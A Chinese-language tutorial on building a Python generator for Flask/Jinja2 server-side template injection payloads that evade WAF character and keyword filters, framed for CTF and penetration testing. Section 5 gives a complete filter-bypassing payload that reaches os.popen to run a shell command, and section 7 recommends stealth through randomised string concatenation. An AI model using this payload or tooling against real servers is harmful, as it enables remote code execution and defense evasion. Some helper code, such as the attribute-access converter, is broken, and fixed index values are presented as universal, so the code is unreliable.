别再死记硬背SSTI Payload了！手把手教你用Python脚本自动化生成绕过WAF的注入语句

从零构建SSTI Payload生成器：Python自动化对抗WAF实战手册

在CTF竞赛和渗透测试中，遇到SSTI漏洞却因WAF规则束手无策？传统的手工构造Payload方式不仅效率低下，而且难以应对动态变化的过滤规则。本文将带你用Python打造一个智能化的SSTI Payload生成引擎，实现从规则分析到绕过方案的全自动输出。

1. 理解SSTI与WAF的对抗本质

模板注入漏洞的本质在于服务端对用户输入的不当处理，而现代WAF通常采用多层防御机制：

• 字符黑名单：过滤_、.、[]等关键符号
• 关键词检测：拦截__class__、os、popen等敏感字符串
• 语法分析：识别{{}}等模板语法特征
• 行为监控：检测异常的子进程创建行为

我们的生成器需要模拟攻击者的思维过程：

1. 识别被过滤的字符和关键词
2. 寻找等价的替代表达方式
3. 组合多种绕过技术形成有效载荷
4. 验证Payload的有效性

# 基础绕过技术映射表 BYPASS_TECHNIQUES = { 'dot': ['[]', '|attr', 'format'], 'underscore': ['\\u005f', '\\x5f', 'format'], 'brackets': ['__getitem__', 'pop'], 'quotes': ['request', 'chr', 'join'] }

2. 构建Payload生成引擎核心架构

2.1 规则解析模块设计

首先需要设计一个灵活的规则解析器，用于处理各种过滤条件：

class RuleParser: def __init__(self, filter_rules): self.forbidden_chars = set() self.forbidden_keywords = set() self.parse_rules(filter_rules) def parse_rules(self, rules): # 实现规则解析逻辑 for rule in rules.split(','): if rule.startswith('char:'): self.forbidden_chars.add(rule[5:]) elif rule.startswith('kw:'): self.forbidden_keywords.add(rule[3:])

2.2 绕过策略选择算法

基于解析出的规则，动态选择最优绕过策略：

def select_bypass_strategy(self, target): strategies = [] if '_' in target and '_' in self.forbidden_chars: strategies.append('unicode') strategies.append('hex') if '.' in target and '.' in self.forbidden_chars: strategies.append('bracket') strategies.append('attr') return strategies

3. 实现关键绕过技术生成器

3.1 Unicode编码转换器

将敏感字符转换为Unicode转义序列：

def unicode_encode(self, payload): encoded = [] for char in payload: if char in self.forbidden_chars: encoded.append(f'\\u{ord(char):04x}') else: encoded.append(char) return ''.join(encoded)

3.2 属性访问替代方案

提供多种属性访问方式的转换：

def convert_attribute_access(self, code): if '.' in self.forbidden_chars: return code.replace('.', '[') + ']' return code

4. 动态Payload组装系统

4.1 模块化Payload组件

将Payload分解为可替换的组件：

PAYLOAD_COMPONENTS = { 'class': ["__class__", "\\u005f\\u005fclass\\u005f\\u005f"], 'base': ["__base__", "['__base__']"], 'subclasses': ["__subclasses__()", "|attr('__subclasses__')()"] }

4.2 智能组装算法

def assemble_payload(self, components): selected = [] for comp in components: variants = PAYLOAD_COMPONENTS.get(comp, [comp]) for variant in variants: if not self.rule_parser.is_blocked(variant): selected.append(variant) break return ''.join(selected)

5. 实战案例：生成Flask/Jinja2绕过Payload

假设遇到以下过滤规则：

• 禁止字符：_、.、[、]
• 禁止关键词：class、base、os

我们的生成器将自动生成如下绕过方案：

{% set a=(lipsum|string|list).pop(18) %} {% set b=(lipsum|string|list).pop(9) %} {{()|attr(a~a~'cla'~'ss'~a~a)|attr(a~a~'ba'~'se'~a~a)|attr(a~a~'subcla'~'sses'~a~a)()|attr('__getitem__')(117)|attr(a~a~'init'~a~a)|attr(a~a~'glo'~'bals'~a~a)|attr('__getitem__')('o'~'s')|attr('po'~'pen')('ls')|attr('read')()}}

6. 高级功能扩展

6.1 上下文感知生成

通过分析响应内容自动调整策略：

def analyze_response(self, response): if "WAF blocked" in response: self.adjust_strategy(aggressiveness=0.5) elif "syntax error" in response: self.fix_syntax_errors()

6.2 多阶段测试框架

1. 探测阶段：发送无害测试Payload
2. 分析阶段：识别过滤模式
3. 生成阶段：创建针对性绕过方案
4. 验证阶段：确认Payload有效性

class TestingFramework: def run_test_cycle(self, target_url): probe_result = self.send_probes() analysis = self.analyze_responses(probe_result) payload = self.generate_payload(analysis) return self.validate_payload(payload)

7. 工程化实践建议

在实际应用中，还需要考虑以下优化点：

• 性能优化：使用LRU缓存已生成的Payload
• 隐蔽性增强：随机化字符串拼接方式
• 错误处理：实现自动回退机制
• 日志记录：保存成功的绕过模式

# Payload缓存实现示例 from functools import lru_cache @lru_cache(maxsize=100) def generate_cached_payload(rules, target): return generator.generate(rules, target)

通过系统化的设计和实现，这个Payload生成器不仅能大幅提升CTF竞赛效率，也为企业安全团队提供了自动化测试SSTI防护能力的有效工具。记住，真正的价值不在于Payload本身，而在于理解WAF的运作机制和开发对抗策略的思考过程。